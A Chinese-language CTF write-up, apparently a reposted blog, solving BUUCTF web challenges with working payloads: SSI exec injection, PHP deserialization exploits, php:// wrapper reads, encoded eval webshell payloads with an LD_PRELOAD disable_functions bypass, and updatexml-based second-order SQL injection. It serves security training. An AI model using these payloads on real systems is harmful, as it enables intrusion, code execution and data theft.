<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}*** ?>分析一下:
1)首先要求password的md5值的前6個字符為6d0bc1。
跑個腳本?
2)
$file_shtml = "public/".get_hash().".shtml"; # 創(chuàng)建文件 $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); # $text = '******<h1>Hello,'.$_POST['username'].'</h1>******'; # 將 變量$text 的內(nèi)容 寫入 $shtml 文件 fwrite($shtml,$text); # 關(guān)閉文件 fclose($shtml);解題過程:
post傳參:
username=123&password=2020666
直接F12看相應(yīng)頭?
訪問,另外可以注意到這是個shtml。簡單來說就是能根據(jù)命令動態(tài)回顯網(wǎng)頁的某個部分,比如時間。可以注入,用來遠(yuǎn)程命令執(zhí)行。Hello,'.$_POST['username'].'是可以作為注入點(diǎn)來進(jìn)行輸出我們想要的信息
格式為:?
<!--#exec cmd="命令"-->常規(guī)查看目錄
username=<!--#exec cmd="ls"-->&password=2020666沒明顯的flag目錄,查看上級目錄
username=<!--#exec cmd="ls .."-->&password=2020666直接讀取(因為flag文件是上一個目錄的,所以 ../ 要保留)
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666得到flag
NiZhuanSiWei(反序列化,PHP偽協(xié)議)
打開題目,代碼審計
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;} } else{highlight_file(__FILE__); } ?>題目提示useless.php,先讀取一下這個文件的源碼
構(gòu)造payload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=123 POST傳:welcome to the zjctf得到一堆base64碼,解碼得到:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} } } ?>可以看到關(guān)鍵利用file_get_contents,但是前面的file已經(jīng)過濾掉了flag.php傳參。
那么這道題主要是利用到了魔術(shù)方法__tostring(在實例化并打印一個對象的時候 是需要__tostring這個函數(shù)的 或者說__tostring是會自動調(diào)用的)
那就很好理解了,先文件包含Useless.php文件,再利用password反序列化,我們在反序列化password的時候 在后端這個__tostring是會在反序列化的同時被調(diào)用的 而我們就可以利用里面的file_get_contents來拿到flag
exp:
<?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} } } $password=new Flag(); echo serialize($password); ?>得到:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}構(gòu)造payload:
?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} POST傳:welcome to the zjctf查看源碼,得到flag.?
RCE ME?
打開題目,簡單的代碼審計,一眼rce
<?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code); } else{highlight_file(__FILE__); }// ?>又是漲知識的一道題
首先普通的命令執(zhí)行肯定是不能繞過正則匹配了,可以使用異或來進(jìn)行繞過
先查看phpinfo();
即,對查詢語句取反,然后編碼。在編碼前加上~進(jìn)行取反,括號沒有被過濾,不用取反。
構(gòu)造payload:
?code=(~%8F%97%8F%96%91%99%90)();可以看到好多命令執(zhí)行函數(shù)被禁用了
?寫入木馬?
?構(gòu)造payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%DF%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6%DF);蟻劍連接
?flag文件是空的,那就是要執(zhí)行readflag文件,但是之前查看phpinfo的時候很多執(zhí)行函數(shù)都被金庸了,需要繞過disable_functions。這里卡住遼,看了其他師傅的wp,原來還有這種方法???
解法一:利用linux提供的LD_preload環(huán)境變量,劫持共享so,在啟動子進(jìn)程的時候,新的子進(jìn)程會加載我們惡意的so拓展,然后我們可以在so里面定義同名函數(shù),即可劫持API調(diào)用,成功RCE(說實話我也看不懂)
接下來解題需要用到工具:工具傳送門
將解壓后的文件夾里面的bypass_disablefun_x64.so和bypass_disablefunc.php上傳到/var/tmp目錄
?下面需要構(gòu)造新的異或payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])即為
?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a']) // assert(eval($_POST['a']))?下面讓其包含我們的exp代碼:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so?執(zhí)行即可得到flag
解法二:利用蟻劍的插件,蟻劍有一個繞過disable_functions的插件,正好有PHP7的UAF
還沒下載好插件,等等再補(bǔ)這個。
phpweb(反序列化)
這道題還挺有趣。
看源碼發(fā)現(xiàn)也沒什么信息
抓包看看
看warning的意思大概就是? func參數(shù)是函數(shù),p是值
那就簡單遼吧?!先看一下Index.php的源碼?
得到Index.php源碼
<?php $disable_fun=array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>可以看到disable_fun數(shù)組禁用了很多命令執(zhí)行的函數(shù),也就是我們不可以通過直接使用命令執(zhí)行函數(shù)來得到flag,發(fā)現(xiàn)有魔術(shù)方法也有輸出,那就應(yīng)該是利用反序列化函數(shù)了
class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}} }先查看當(dāng)前目錄文件
exp:
<?phpclass Test {var $p = "ls";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}} } $a=new Test(); echo serialize($a); ?>得到序列化后的數(shù)據(jù)
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}下面就是利用反序列化函數(shù),傳 序列化數(shù)據(jù)
有回顯,說明當(dāng)前的解題思路是正確的,接下來找flag(直接在包里修改一下p值就行,嫌麻煩拿exp改p值重新生成序列化數(shù)據(jù))
讀取?/tmp/flagoefiu4r93??這里也是直接用反序列化函數(shù)來讀取(嫌麻煩可以用redafile函數(shù)直接讀取即可)
Can you guess it?
直接給源碼
<?php include 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)"); }if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit(); }$secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';} } ?>分析了一下,想要通過破解隨機(jī)數(shù)就能得到flag是不可能滴,那就只能乖乖繞過正則了
已經(jīng)明確flag就在config.php中遼
分析:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)"); }if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit(); }正則匹配ban掉了config.php,但是后面又調(diào)用了highlight_file()
先看basename()函數(shù),我們可以通過這個函數(shù)進(jìn)行跨目錄讀取文件
當(dāng)我們傳參index.php/config.php的時候,我們讀取到的頁面依舊是index.php的,但是經(jīng)過basename()后,傳進(jìn)highlight_file()函數(shù)的文件名變成了config.php,那就是如果我們繞過了正則,就可以通過?highlight_file(basename($_SERVER['PHP_SELF']))? 來得到config.php的源碼
繞過正則匹配:
老套路了,可以用%0d之類的來污染繞過,這樣仍然訪問得到index.php:
但在剛剛繞過的正則匹配中,basename()截取到是%0d?source
(簡單來說 嘗試用/index.php/config.php/?source讀取源碼,但是又繞不過正則匹配)
basename函數(shù)還有一個問題:它會去掉文件名開頭的非ASCII值(恰好解釋了為啥%0d不得)
var_dump(basename("xffconfig.php")); // => config.php var_dump(basename("config.php/xff")); // => config.php那就更簡單啦,構(gòu)造payload:
/index.php/config.php/%aa?sourceEasySQL(二次注入)
之前了解到了二次注入但沒有實戰(zhàn),這下遇到了就淺淺記錄一下
打開是一個登錄和注冊的界面,發(fā)現(xiàn)可以完全注冊,那說明這里不可以是注入點(diǎn)了,那么就可能是二次注入
注冊賬戶的時候插入一些測試字符?
?在更改密碼界面,提交后可以發(fā)現(xiàn)報錯,說明就是二次注入
?重新注冊,發(fā)現(xiàn)挺多字符被過濾了
@
or
and
space(空格)
substr
mid
left
right
handle
可以用管道符 || 來代替or,用括號來代替空格
直接爆表
kyo"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#?每個表都看看,剛開始覺得flag應(yīng)該就在flag這個表中,最后發(fā)現(xiàn)不是真正的flag,那應(yīng)該就是在usrts表里面了。
kyo"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#查看real_flag_1s_her字段
kyo"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#這里的regexp('^f')的作用就是查找以f開頭的內(nèi)容。
由于updatexml函數(shù)輸出的字符串長度有限制
我常用的sunstr的被過濾掉了,可以試試用reverse()把flag倒序輸出來
kyo"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#倒序過來即可得到正確的flag。?
文章參考:BUUCTF [GYCTF2020] Blacklist_Senimo_的博客-CSDN博客
SQL注入之堆疊注入_沫憶末憶的博客-CSDN博客_堆疊注入
password=md5($pass,true)繞過、弱類型、MD5強(qiáng)碰撞_sGanYu的博客-CSDN博客_md5($pass,true)
BUUCTF 2018 Online Tool_戀物語戰(zhàn)場原的博客-CSDN博客
(1條消息) [網(wǎng)鼎杯 2018]Fakebook_sm1rk的博客-CSDN博客
總結(jié)
以上是生活随笔為你收集整理的BUUCTF(web刷题记录一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【wikioi】1034 家园(最大流+
- 下一篇: 大数据工程师是不是青春饭,程序员30岁以